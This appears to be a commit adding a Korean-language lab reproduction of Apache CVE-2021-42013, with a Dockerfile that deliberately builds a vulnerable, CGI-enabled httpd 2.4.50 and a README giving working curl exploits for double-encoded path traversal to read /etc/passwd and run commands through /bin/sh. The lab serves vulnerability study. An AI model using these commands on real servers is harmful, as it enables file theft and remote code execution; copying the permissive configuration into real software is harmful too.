[조동균/Refrian4]:apache CVE-2021-42013 분석 및 결과

apache/CVE-2021-42013/Dockerfile

@@ -0,0 +1,14 @@
+FROM vulhub/httpd:2.4.50
+
+LABEL maintainer="phithon <root@leavesongs.com>"
+
+RUN set -ex \
+    && sed -i "s|#LoadModule cgid_module modules/mod_cgid.so|LoadModule cgid_module modules/mod_cgid.so|g" /usr/local/apache2/conf/httpd.conf \
+    && sed -i "s|#LoadModule cgi_module modules/mod_cgi.so|LoadModule cgi_module modules/mod_cgi.so|g" /usr/local/apache2/conf/httpd.conf \
+    && sed -i "s|#Include conf/extra/httpd-autoindex.conf|Include conf/extra/httpd-autoindex.conf|g" /usr/local/apache2/conf/httpd.conf \
+    && cat /usr/local/apache2/conf/httpd.conf \
+        | tr '\n' '\r' \
+        | perl -pe 's|<Directory />.*?</Directory>|<Directory />\n    AllowOverride none\n    Require all granted\n</Directory>|isg' \
+        | tr '\r' '\n' \
+        | tee /tmp/httpd.conf \
+    && mv /tmp/httpd.conf /usr/local/apache2/conf/httpd.conf

apache/CVE-2021-42013/README.md

@@ -0,0 +1,23 @@
+---
+
+**요약**
+
+- CVE-2021-42013은 CVE-2021-41773의 불완전한 수정으로 인해 발생한 취약점
+- Apache는 기본적으로 상위 디렉토리를 의미하는 문자열 “../”에 대한 문자열을 차단함
+- 그러나 URL 인코딩을 통해 우회가 가능함
+- 기존의 URL 인코딩으로 인해 발생한 취약점을 패치했지만 URL 더블 인코딩으로 우회가 가능한 취약점 발생
+
+**환경 구성 및 실행**
+
+- `docker-compose build`
+- `docker-compose up -d`
+- `apt install curl` 커맨드로 curl 설치
+- /icons 디렉토리를 만든 후 아래와 같은 명령어 실행
+- curl -v --path-as-is [http://your-ip:8080/icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd](http://your-ip:8080/icons/.%25%32%65/.%25%32%65/.%25%32%65/.%25%32%65/.%25%32%65/.%25%32%65/.%25%32%65/etc/passwd)
+- curl -v --data "echo;id" '[http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh](http://your-ip:8080/cgi-bin/.%25%32%65/.%25%32%65/.%25%32%65/.%25%32%65/.%25%32%65/.%25%32%65/.%25%32%65/bin/sh)
+
+**결과**
+
+![png1](https://github.com/Refrain4/kr-vulhub/assets/90193658/d929f6a8-3adf-4a5f-80e6-9b0b9da54680)
+
+![png2](https://github.com/Refrain4/kr-vulhub/assets/90193658/8106019f-0444-48ee-9ab0-ebd6f856c1dd)

apache/CVE-2021-42013/docker-compose.yml

@@ -0,0 +1,6 @@
+version: '2'
+services:
+ apache:
+   build: .
+   ports:
+    - "8080:80"